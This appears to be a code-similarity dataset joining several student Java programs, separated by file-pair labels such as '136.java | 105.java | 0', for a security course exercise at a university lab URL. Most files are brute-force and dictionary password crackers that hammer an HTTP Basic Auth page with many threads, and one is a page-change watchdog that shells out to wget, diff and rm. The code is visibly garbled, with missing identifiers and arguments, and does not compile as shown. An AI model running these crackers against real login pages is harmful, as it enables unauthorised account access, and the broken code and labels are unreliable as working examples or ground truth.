this.endidx = endidx;
setDaemon(true);
}
public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException {
int i ;
String msg;
URL tryURL = new URL(THEURL);
connections[connID]=(HttpURLConnection) tryURL.openConnection();
connections[connID].setRequestProperty("Authorization"," "+Base64Encode(USERNAME+":"+thePass));
i = connections[connID].getResponseCode();
msg = connections[connID].getResponseMessage();
connections[connID].disconnect();
if (i==HttpURLConnection.HTTP_OK) {
System.out.println(ID+"Trying '"+thePass+"' GOTCHA !!! (= "+String.valueOf()+"-"+msg+").");
setSuccess(this.ID,thePass);
return (true);
} else {
System.out.println(ID+"Trying '"+thePass+"' FAILED (= "+String.valueOf()+"-"+msg+").");
return (false);
}
}
public void rest(int msec) {
try { sleep(msec); } catch (InterruptedException e) {}
}
public String constructPassword( int idx) {
int i = idxLimit.length-2;
boolean processed = false;
String result = "";
while (i>=0) {
if (idx>=idxLimit[i]) {
int nchar = i + 1;
idx-=idxLimit[i];
for (int j=0;j<nchar;j++) {
x = (idx % NCHAR);
result = charset.charAt((int) x) + result;
idx /= NCHAR;
}
break;
}
i--;
}
return result;
}
public String getStartStr() {
return constructPassword(this.startidx);
}
public String getEndStr() {
return constructPassword(this.endidx);
}
public void run() {
i = startidx;
boolean keeprunning = true;
while ((!isSuccess()) && (i<=endidx) && (keeprunning)) {
int idx = waitUntilOK2Connect();
if (idx==-1) {
break;
}
try {
launchRequest(getName(), idx, constructPassword(i));
decreaseConn(idx);
localattempt++;
rest(MAXCONN);
i++;
} catch (InterruptedException e) {
keeprunning = false;
break;
} catch (IOException e) {
decreaseConn(idx);
}
}
if (success==this.ID) {
waitUntilAllTerminated();
}
}
public int getLocalAttempt() {
return localattempt;
}
private int startidx,endidx;
private int ID;
private int localattempt = 0;
}
public void printProgramHeader(String mode,int nThread) {
System.out.println();
System.out.println(" ********************* [ BRUTE-FORCE CRACKING SYSTEM ] *********************");
System.out.println();
System.out.println(" URL : "+THEURL);
System.out.println(" Crack Mode : "+mode);
System.out.println(" Characters : "+charset);
System.out.println(" . Char : "+MINCHAR);
System.out.println(" . Char : "+MAXCHAR);
System.out.println(" # of Thread : "+nThread);
System.out.println(" Connections : "+MAXCONN);
System.out.println(" All Combi. : "+ALLCOMBI);
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
}
public void startNaiveCracking() {
MAXTHREAD = 1;
MAXCONN = 1;
startDistCracking();
}
public void startDistCracking() {
int startidx,endidx;
int thcount;
if (isenhanced) {
printProgramHeader("ENHANCED BRUTE-FORCE CRACKING ALGORITHM",MAXTHREAD);
} else {
printProgramHeader("NAIVE BRUTE-FORCE CRACKING ALGORITHM",MAXTHREAD);
}
i = System.currentTimeMillis();
idxstart = idxLimit[MINCHAR-1];
if (MAXTHREAD>ALLCOMBI - idxstart) { MAXTHREAD = (int) (ALLCOMBI-idxstart); }
mult = (ALLCOMBI - idxstart) / MAXTHREAD;
for (thcount=0;thcount<MAXTHREAD-1;thcount++) {
startidx = thcount*mult + idxstart;
endidx = (thcount+1)*mult-1 + idxstart;
threads[thcount] = new ThCrack(thcount, startidx, endidx);
System.out.println(threads[thcount].getName()+" try crack from '"+threads[thcount].getStartStr()+"' '"+threads[thcount].getEndStr()+"'");
}
startidx = (MAXTHREAD-1)*mult + idxstart;
endidx = ALLCOMBI-1;
threads[MAXTHREAD-1] = new ThCrack(MAXTHREAD-1, startidx, endidx);
System.out.println(threads[MAXTHREAD-1].getName()+" try crack from '"+threads[MAXTHREAD-1].getStartStr()+"' '"+threads[MAXTHREAD-1].getEndStr()+"'");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
for (int i=0;i<MAXTHREAD;i++)
threads[i].print();
}
public BruteForce() {
if (isenhanced) {
startDistCracking();
} else {
startNaiveCracking();
}
reportTimer = new java.util.Timer();
MyTT tt = new MyTT();
reportTimer.schedule(tt,1000,1000);
while ((success==-1) && (attempt<ALLCOMBI)) {
try { Thread.sleep(100); getAccumulatedLocalAttempt(); } catch (InterruptedException e) { }
}
if (success==-1) {
end = System.currentTimeMillis();
}
getAccumulatedLocalAttempt();
double ovAps = tt.getOverallAttemptPerSec();
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
reportTimer.cancel();
try { Thread.sleep(1000); } catch (InterruptedException e) { }
synchronized (this) {
if (success>=0) {
System.out.println();
System.out.println(" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************");
System.out.println();
System.out.println(" The password is : "+passw);
System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations");
System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%");
System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec");
System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds");
System.out.println(" Worstcase time estd : "+fmt.format(1/ovAps*ALLCOMBI)+ " seconds");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
} else {
System.out.println();
System.out.println(" ********************* [ UNABLE CRACK THE URL !!! ] *********************");
System.out.println();
System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations");
System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%");
System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec");
System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
}
}
}
public static void printSyntax() {
System.out.println();
System.out.println("Syntax : BruteForce [mode] [URL] [charset] [] [] [username]");
System.out.println();
System.out.println(" mode : (opt) 0 - NAIVE Brute force mode");
System.out.println(" (trying from the first the last combinations)");
System.out.println(" 1 - ENHANCED Brute force mode");
System.out.println(" (dividing cracking jobs multiple threads) (default)");
System.out.println(" URL : (opt) the URL crack ");
System.out.println(" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)");
System.out.println(" charset : (optional) the character set used crack.");
System.out.println(" - (default)");
System.out.println(" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
System.out.println(" -alphanum ");
System.out.println(" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890");
System.out.println(" -alphalow ");
System.out.println(" abcdefghijklmnopqrstuvwxyz");
System.out.println(" -alphaup ");
System.out.println(" ABCDEFGHIJKLMNOPQRSTUVWXYZ");
System.out.println(" -number ");
System.out.println(" 1234567890");
System.out.println(" [custom] e.g. aAbB123");
System.out.println(" , : (optional) range of characters applied in the cracking");
System.out.println(" where 1 <= <= 10 (default = 1)");
System.out.println(" <= <= 10 (default = 3)");
System.out.println(" username : (optional) the username that is used crack");
System.out.println();
System.out.println(" NOTE: The optional parameters 'charset','','', and 'username'");
System.out.println(" have specified altogether none at all.");
System.out.println(" For example, if [charset] is specified, then [], [], and");
System.out.println(" [username] have specified as well. If none of them specified,");
System.out.println(" default values used.");
System.out.println();
System.out.println(" Example of invocation :");
System.out.println(" java BruteForce ");
System.out.println(" java BruteForce 0");
System.out.println(" java BruteForce 1 http://localhost/tryme.php");
System.out.println(" java BruteForce 0 http://localhost/tryme.php - 1 3 ");
System.out.println(" java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 ");
System.out.println();
System.out.println();
}
public static void countIdxLimit() {
idxLimit = new int[MAXCHAR+1];
NCHAR = charset.length();
ALLCOMBI = 0;
for (int i=0;i<=MAXCHAR;i++) {
if (i==0) {
idxLimit[i] = 0;
} else {
idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i);
}
}
ALLCOMBI = idxLimit[idxLimit.length-1];
}
public static void paramCheck(String[] args) {
int argc = args.length;
try {
switch (Integer.valueOf(args[0]).intValue()) {
case 0: {
isenhanced = false;
} break;
case 1: {
isenhanced = true;
} break;
default:
System.out.println("Syntax error : invalid mode '"+args[0]+"'");
printSyntax();
System.exit(1);
}
} catch (NumberFormatException e) {
System.out.println("Syntax error : invalid number '"+args[0]+"'");
printSyntax();
System.exit(1);
}
if (argc>1) {
try {
URL u = new URL(args[1]);
try {
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
switch (conn.getResponseCode()) {
case HttpURLConnection.HTTP_ACCEPTED:
case HttpURLConnection.HTTP_OK:
case HttpURLConnection.HTTP_NOT_AUTHORITATIVE:
case HttpURLConnection.HTTP_FORBIDDEN:
case HttpURLConnection.HTTP_UNAUTHORIZED:
break;
default:
System.out.println("Unable open connection the URL '"+args[1]+"'");
System.exit(1);
}
} catch (IOException e) {
System.out.println(e);
System.exit(1);
}
THEURL = args[1];
} catch (MalformedURLException e) {
System.out.println("Invalid URL '"+args[1]+"'");
printSyntax();
System.exit(1);
}
}
if (argc==6) {
try {
MINCHAR = Integer.valueOf(args[3]).intValue();
} catch (NumberFormatException e) {
System.out.println("Invalid range number value '"+args[3]+"'");
printSyntax();
System.exit(1);
}
try {
MAXCHAR = Integer.valueOf(args[4]).intValue();
} catch (NumberFormatException e) {
System.out.println("Invalid range number value '"+args[4]+"'");
printSyntax();
System.exit(1);
}
if ((MINCHAR<1) || (MINCHAR>10)) {
System.out.println("Invalid range number value '"+args[3]+"' (must between 0 and 10)");
printSyntax();
System.exit(1);
} else
if (MINCHAR>MAXCHAR) {
System.out.println("Invalid range number value '"+args[3]+"' (must lower than the value)");
printSyntax();
System.exit(1);
}
if (MAXCHAR>10) {
System.out.println("Invalid range number value '"+args[4]+"' (must between value and 10)");
printSyntax();
System.exit(1);
}
if (args[2].toLowerCase().equals("-")) {
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
} else
if (args[2].toLowerCase().equals("-alphanum")) {
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
} else
if (args[2].toLowerCase().equals("-alphalow")) {
charset = "abcdefghijklmnopqrstuvwxyz";
} else
if (args[2].toLowerCase().equals("-alphaup")) {
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
} else
if (args[2].toLowerCase().equals("-number")) {
charset = "1234567890";
} else {
charset = args[2];
}
USERNAME = args[5];
} else
if ((argc>2) && (argc<6)) {
System.out.println("Please specify the [charset], [], [], and [username] altogether none at all");
printSyntax();
System.exit(1);
} else
if ((argc>2) && (argc>6)) {
System.out.println("The number of parameters expected is not more than 6. ");
System.out.println(" have specified more than 6 parameters.");
printSyntax();
System.exit(1);
}
}
public static void main (String[] args) {
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
MINCHAR = 1;
MAXCHAR = 3;
if (args.length==0) {
args = new String[6];
args[0] = String.valueOf(1);
args[1] = THEURL;
args[2] = "-";
args[3] = String.valueOf(MINCHAR);
args[4] = String.valueOf(MAXCHAR);
args[5] = USERNAME;
}
paramCheck(args);
countIdxLimit();
Application = new BruteForce();
}
public static BruteForce Application;
public static String THEURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
public static boolean isenhanced;
public static String passw = "";
public static final int REPORT_INTERVAL = 10;
public static int MAXTHREAD = 50;
public static int MAXCONN = 50;
public static int curconn = 0;
public static int success = -1;
public static String USERNAME = "";
public static int MINCHAR;
public static int MAXCHAR;
public static int ALLCOMBI;
public static int start ,end;
public static java.util.Timer reportTimer;
public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN];
public static boolean connused[] = new boolean[MAXCONN];
public ThCrack[] threads = new ThCrack[MAXTHREAD];
public static int attempt = 0;
public static int idxLimit;
public static String charset;
public static int NCHAR;
}
|
public class ImageFile
{
private String imageUrl;
private int imageSize;
public ImageFile(String url, int size)
{
imageUrl=url;
imageSize=size;
}
public String getImageUrl()
{
return imageUrl;
}
public int getImageSize()
{
return imageSize;
}
}
|
136.java | 105.java | 0 |
import java.util.*;
import java.io.*;
import java.net.*;
public class MyWatchDogTimer extends TimerTask
{
public void run()
{
Runtime rt = Runtime.getRuntime();
Process prss= null;
String initialmd5,presentmd5,finalmd5,temp1;
String mesg1 = new String();
String subject = new String("Report of WatchDog");
int i;
try
{
prss = rt.exec("md5sum first.html");
InputStreamReader instre1 = new InputStreamReader(prss.getInputStream());
BufferedReader bufread1 = new BufferedReader(instre1);
sw = bufread1.readLine();
i = finalmd5.indexOf(' ');
initialmd5 = finalmd5.substring(0,i);
System.out.println("this is of first.html--->"+initialmd5);
prss = rt.exec("wget -R mpg,mpeg, --output-document=present.html http://www.cs.rmit.edu./students/");
prss = rt.exec("md5sum present.html");
InputStreamReader instre2 = new InputStreamReader(prss.getInputStream());
BufferedReader bufread2 = new BufferedReader(instre2);
temp1 = bufread2.readLine();
i = temp1.indexOf(' ');
presentmd5 = temp1.substring(0,i);
System.out.println("this is of present.html---->"+presentmd5);
if(initialmd5.equals(presentmd5))
System.out.println("The checksum found using md5sum is same");
else
{
prss = rt.exec("diff first.html present.html > diff.html");
System.out.println(" is different");
prss = null;
mesg1 ="php mail.php";
prss = rt.exec(mesg1);
}
prss = rt.exec("rm present.*");
}catch(java.io.IOException e){}
}
}
|
import java.io.*;
import java.net.*;
import java.misc.BASE64Encoder;
public class Dictionary
{
public Dictionary()
{}
public boolean fetchURL(String urlString,String username,String password)
{
StringWriter sw= new StringWriter();
PrintWriter pw = new PrintWriter();
try{
URL url=new URL(urlString);
String userPwd= username+":"+password;
BASE64Encoder encoder = new BASE64Encoder();
String encodedStr = encoder.encode (userPwd.getBytes());
System.out.println("Original String = " + userPwd);
System.out.println("Encoded String = " + encodedStr);
HttpURLConnection huc=(HttpURLConnection) url.openConnection();
huc.setRequestProperty( "Authorization"," "+encodedStr);
InputStream content = (InputStream)huc.getInputStream();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine()) != null) {
pw.println (line);
System.out.println("");
System.out.println(sw.toString());
}return true;
} catch (MalformedURLException e) {
pw.println ("Invalid URL");
return false;
} catch (IOException e) {
pw.println ("Error URL");
return false;
}
}
public void getPassword()
{
String dictionary="words";
String urlString="http://sec-crack.cs.rmit.edu./SEC/2/";
String login="";
String pwd=" ";
try
{
BufferedReader inputStream=new BufferedReader(new FileReader(dictionary));
startTime=System.currentTimeMillis();
while (pwd!=null)
{
pwd=inputStream.readLine();
if(this.fetchURL(urlString,login,pwd))
{
finishTime=System.currentTimeMillis();
System.out.println("Finally I gotta it, password is : "+pwd);
System.out.println("The time for cracking password is: "+(finishTime-startTime) + " milliseconds");
System.exit(1);
}
}
inputStream.close();
}
catch(FileNotFoundException e)
{
System.out.println("Dictionary not found.");
}
catch(IOException e)
{
System.out.println("Error dictionary");
}
}
public static void main(String[] arguments)
{
BruteForce bf=new BruteForce();
bf.getPassword();
}
} |
051.java | 105.java | 0 | import java.io.*;
import java.net.*;
import java.*;
import java.Runtime.*;
import java.Object.*;
import java.util.*;
import java.util.StringTokenizer;
public class Dictionary
{
String uname = "";
String pword = "null";
Vector v = new Vector();
int runTime;
public void doConnect(String connect, int num)
{
String = connect;
try
{
URL secureSite = new URL();
URLConnection connection = secureSite.openConnection();
if (uname != null || pword != null)
{
for(int i=num; i<v.size(); i++)
{
pword = (String)v.elementAt(i);
String up = uname + ":" + pword;
String encoding;
try
{
connection.misc.BASE64Encoder encoder = (con.misc.BASE64Encoder) Class.forName(".misc.BASE64Encoder").newInstance();
encoding = encoder.encode (up.getBytes());
}
catch (Exception ex)
{
Base64Converter encoder = new Base64Converter();
System.out.println("in catch");
encoding = encoder.encode(up.getBytes());
}
connection.setRequestProperty ("Authorization", " " + encoding);
connection.connect();
if(connection instanceof HttpURLConnection)
{
HttpURLConnection httpCon=(HttpURLConnection)connection;
if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)
{
System.out.println("Not authorized - check for details" + " -Incorrect Password : " + pword);
doConnect(i, i+1);
}
else
{
System.out.println("\n\n\nPassword for HTTP Secure Site by Dictionary Attack:");
System.out.println( +"\tPassword : "+ pword);
runTime = System.currentTimeMillis() - runTime;
System.out.println("Time taken crack password (in seconds)"+" : "+ runTime/1000+"\n"+ "Tries taken crack password : "+ i);
System.exit(0);
}
}
}
}
}
catch(Exception ex)
{
ex.printStackTrace();
}
}
public Vector getPassword()
{
try
{
ReadFile rf = new ReadFile();
rf.loadFile();
v = rf.getVector();
}
catch(Exception ex)
{
ex.printStackTrace();
}
return v;
}
public void setTimeTaken( int timetaken)
{
runTime = timetaken;
}
public static void main ( String args[] ) throws IOException
{
runTime1 = System.currentTimeMillis();
Dictionary newDo = new Dictionary();
newDo.setTimeTaken(runTime1);
newDo. getPassword();
String site = "http://sec-crack.cs.rmit.edu./SEC/2/";
newDo.doConnect(site, 0);
}
}
class Base64Converter
{
public final char [ ] alphabet = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' };
public String encode ( String s )
{
return encode ( s.getBytes ( ) );
}
public String encode ( byte [ ] octetString )
{
int bits24;
int bits6;
char [ ] out
= new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
int outIndex = 0;
int i = 0;
while ( ( i + 3 ) <= octetString.length ) {
bits24=( octetString [ i++ ] & 0xFF ) << 16;
bits24 |=( octetString [ i++ ] & 0xFF ) << 8;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0000003F );
out [ outIndex++ ] = alphabet [ bits6 ];
}
if ( octetString.length - i == 2 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
}
else if ( octetString.length - i == 1 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
out [ outIndex++ ] = '=';
}
return new String ( out );
}
}
|
import java.io.*;
import java.net.*;
import java.misc.BASE64Encoder;
public class Dictionary
{
public Dictionary()
{}
public boolean fetchURL(String urlString,String username,String password)
{
StringWriter sw= new StringWriter();
PrintWriter pw = new PrintWriter();
try{
URL url=new URL(urlString);
String userPwd= username+":"+password;
BASE64Encoder encoder = new BASE64Encoder();
String encodedStr = encoder.encode (userPwd.getBytes());
System.out.println("Original String = " + userPwd);
System.out.println("Encoded String = " + encodedStr);
HttpURLConnection huc=(HttpURLConnection) url.openConnection();
huc.setRequestProperty( "Authorization"," "+encodedStr);
InputStream content = (InputStream)huc.getInputStream();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine()) != null) {
pw.println (line);
System.out.println("");
System.out.println(sw.toString());
}return true;
} catch (MalformedURLException e) {
pw.println ("Invalid URL");
return false;
} catch (IOException e) {
pw.println ("Error URL");
return false;
}
}
public void getPassword()
{
String dictionary="words";
String urlString="http://sec-crack.cs.rmit.edu./SEC/2/";
String login="";
String pwd=" ";
try
{
BufferedReader inputStream=new BufferedReader(new FileReader(dictionary));
startTime=System.currentTimeMillis();
while (pwd!=null)
{
pwd=inputStream.readLine();
if(this.fetchURL(urlString,login,pwd))
{
finishTime=System.currentTimeMillis();
System.out.println("Finally I gotta it, password is : "+pwd);
System.out.println("The time for cracking password is: "+(finishTime-startTime) + " milliseconds");
System.exit(1);
}
}
inputStream.close();
}
catch(FileNotFoundException e)
{
System.out.println("Dictionary not found.");
}
catch(IOException e)
{
System.out.println("Error dictionary");
}
}
public static void main(String[] arguments)
{
BruteForce bf=new BruteForce();
bf.getPassword();
}
} |
062.java | 105.java | 0 |
import java.util.*;
import java.*;
import java.awt.*;
import java.net.*;
import java.io.*;
import java.text.*;
public class BruteForce {
public static String Base64Encode(String s) {
byte[] bb = s.getBytes();
byte[] b = bb;
char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
'0','1','2','3','4','5','6','7','8','9','+','/' };
if (bb.length % 3!=0) {
int x1 = bb.length;
b = new byte[(x1/3+1)*3];
int x2 = b.length;
for(int i=0;i<x1;i++)
b[i] = bb[i];
for(int i=x1;i<x2;i++)
b[i] = 0;
}
char[] c = new char[b.length/3*4];
int i=0, j=0;
while (i+3<=b.length) {
c[j] = table[(b[i] >> 2)];
c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)];
c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)];
c[j+3] = table[(b[i+2] & 63)];
i+=3;
j+=4;
}
j = c.length-1;
while (c[j]=='A') {
c[j]='=';
j--;
}
return String.valueOf(c);
}
public synchronized void getAccumulatedLocalAttempt() {
attempt = 0;
for (int i=0;i<MAXTHREAD;i++) {
attempt += threads[i].getLocalAttempt();
}
}
public synchronized void printStatusReport(String Attempt, String currprogress,String ovrl, double[] attmArr, int idx) {
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
System.out.println();
System.out.println(" ------------------------ [ CURRENT STATISTICS ] ---------------------------");
System.out.println();
System.out.println(" Current connections : "+curconn);
System.out.println(" Current progress : "+attempt+ " of "+ALLCOMBI+" ("+currprogress+"%)");
System.out.println(" Overall Attempts rate : "+ovrl+" attempts second (approx.)");
System.out.println();
System.out.println(" ---------------------------------------------------------------------------");
System.out.println();
}
public class MyTT extends TimerTask {
public synchronized void run() {
if (count==REPORT_INTERVAL) {
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
getAccumulatedLocalAttempt();
double p = (double)attempt/(double)ALLCOMBI*100;
double aps = (double) (attempt - attm) / REPORT_INTERVAL;
attmArr[attmArrIdx++] = aps;
printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx);
count = 0;
} else
if (count==0) {
getAccumulatedLocalAttempt();
attm = attempt;
count++;
} else {
count++;
}
}
public synchronized double getOverallAttemptPerSec() {
double val = 0;
for (int i=0;i<attmArrIdx;i++) {
val+= attmArr[i];
}
return val / attmArrIdx;
}
private int count = 0;
private int attm;
private int attmArrIdx = 0;
private double[] attmArr = new double[2*60*60/10];
}
public synchronized void interruptAll(int ID) {
for (int i=0;i<MAXTHREAD;i++) {
if ((threads[i].isAlive()) && (i!=ID)) {
threads[i].interrupt();
}
notifyAll();
}
}
public synchronized void setSuccess(int ID, String p) {
passw = p;
success = ID;
notifyAll();
interruptAll(ID);
end = System.currentTimeMillis();
}
public synchronized boolean isSuccess() {
return (success>=0);
}
public synchronized void waitUntilAllTerminated() {
while (curconn>0) {
try {
wait();
} catch (InterruptedException e) {}
}
}
public synchronized int waitUntilOK2Connect() {
boolean interruptd= false;
int idx = -1;
while (curconn>=MAXCONN) {
try {
wait();
} catch (InterruptedException e) { interruptd = true; }
}
if (!interruptd) {
curconn++;
for (idx=0;idx<MAXCONN;idx++)
if (!connused[idx]) {
connused[idx] = true;
break;
}
notifyAll();
}
return idx;
}
public synchronized void decreaseConn(int idx) {
curconn--;
connused[idx] = false;
notifyAll();
}
public class ThCrack extends Thread {
public ThCrack(int threadID, int startidx, int endidx) {
super(" Thread #"+String.valueOf(threadID)+": ");
this.ID = threadID;
this.startidx = startidx;
this.endidx = endidx;
setDaemon(true);
}
public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException {
int i ;
String msg;
URL tryURL = new URL(THEURL);
connections[connID]=(HttpURLConnection) tryURL.openConnection();
connections[connID].setRequestProperty("Authorization"," "+Base64Encode(USERNAME+":"+thePass));
i = connections[connID].getResponseCode();
msg = connections[connID].getResponseMessage();
connections[connID].disconnect();
if (i==HttpURLConnection.HTTP_OK) {
System.out.println(ID+"Trying '"+thePass+"' GOTCHA !!! (= "+String.valueOf()+"-"+msg+").");
setSuccess(this.ID,thePass);
return (true);
} else {
System.out.println(ID+"Trying '"+thePass+"' FAILED (= "+String.valueOf()+"-"+msg+").");
return (false);
}
}
public void rest(int msec) {
try { sleep(msec); } catch (InterruptedException e) {}
}
public String constructPassword( int idx) {
int i = idxLimit.length-2;
boolean processed = false;
String result = "";
while (i>=0) {
if (idx>=idxLimit[i]) {
int nchar = i + 1;
idx-=idxLimit[i];
for (int j=0;j<nchar;j++) {
x = (idx % NCHAR);
result = charset.charAt((int) x) + result;
idx /= NCHAR;
}
break;
}
i--;
}
return result;
}
public String getStartStr() {
return constructPassword(this.startidx);
}
public String getEndStr() {
return constructPassword(this.endidx);
}
public void run() {
i = startidx;
boolean keeprunning = true;
while ((!isSuccess()) && (i<=endidx) && (keeprunning)) {
int idx = waitUntilOK2Connect();
if (idx==-1) {
break;
}
try {
launchRequest(getName(), idx, constructPassword(i));
decreaseConn(idx);
localattempt++;
rest(MAXCONN);
i++;
} catch (InterruptedException e) {
keeprunning = false;
break;
} catch (IOException e) {
decreaseConn(idx);
}
}
if (success==this.ID) {
waitUntilAllTerminated();
}
}
public int getLocalAttempt() {
return localattempt;
}
private int startidx,endidx;
private int ID;
private int localattempt = 0;
}
public void printProgramHeader(String mode,int nThread) {
System.out.println();
System.out.println(" ********************* [ BRUTE-FORCE CRACKING SYSTEM ] *********************");
System.out.println();
System.out.println(" URL : "+THEURL);
System.out.println(" Crack Mode : "+mode);
System.out.println(" Characters : "+charset);
System.out.println(" . Char : "+MINCHAR);
System.out.println(" . Char : "+MAXCHAR);
System.out.println(" # of Thread : "+nThread);
System.out.println(" Connections : "+MAXCONN);
System.out.println(" All Combi. : "+ALLCOMBI);
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
}
public void startNaiveCracking() {
MAXTHREAD = 1;
MAXCONN = 1;
startDistCracking();
}
public void startDistCracking() {
int startidx,endidx;
int thcount;
if (isenhanced) {
printProgramHeader("ENHANCED BRUTE-FORCE CRACKING ALGORITHM",MAXTHREAD);
} else {
printProgramHeader("NAIVE BRUTE-FORCE CRACKING ALGORITHM",MAXTHREAD);
}
i = System.currentTimeMillis();
idxstart = idxLimit[MINCHAR-1];
if (MAXTHREAD>ALLCOMBI - idxstart) { MAXTHREAD = (int) (ALLCOMBI-idxstart); }
mult = (ALLCOMBI - idxstart) / MAXTHREAD;
for (thcount=0;thcount<MAXTHREAD-1;thcount++) {
startidx = thcount*mult + idxstart;
endidx = (thcount+1)*mult-1 + idxstart;
threads[thcount] = new ThCrack(thcount, startidx, endidx);
System.out.println(threads[thcount].getName()+" try crack from '"+threads[thcount].getStartStr()+"' '"+threads[thcount].getEndStr()+"'");
}
startidx = (MAXTHREAD-1)*mult + idxstart;
endidx = ALLCOMBI-1;
threads[MAXTHREAD-1] = new ThCrack(MAXTHREAD-1, startidx, endidx);
System.out.println(threads[MAXTHREAD-1].getName()+" try crack from '"+threads[MAXTHREAD-1].getStartStr()+"' '"+threads[MAXTHREAD-1].getEndStr()+"'");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
for (int i=0;i<MAXTHREAD;i++)
threads[i].print();
}
public BruteForce() {
if (isenhanced) {
startDistCracking();
} else {
startNaiveCracking();
}
reportTimer = new java.util.Timer();
MyTT tt = new MyTT();
reportTimer.schedule(tt,1000,1000);
while ((success==-1) && (attempt<ALLCOMBI)) {
try { Thread.sleep(100); getAccumulatedLocalAttempt(); } catch (InterruptedException e) { }
}
if (success==-1) {
end = System.currentTimeMillis();
}
getAccumulatedLocalAttempt();
double ovAps = tt.getOverallAttemptPerSec();
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
reportTimer.cancel();
try { Thread.sleep(1000); } catch (InterruptedException e) { }
synchronized (this) {
if (success>=0) {
System.out.println();
System.out.println(" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************");
System.out.println();
System.out.println(" The password is : "+passw);
System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations");
System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%");
System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec");
System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds");
System.out.println(" Worstcase time estd : "+fmt.format(1/ovAps*ALLCOMBI)+ " seconds");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
} else {
System.out.println();
System.out.println(" ********************* [ UNABLE CRACK THE URL !!! ] *********************");
System.out.println();
System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations");
System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%");
System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec");
System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds");
System.out.println();
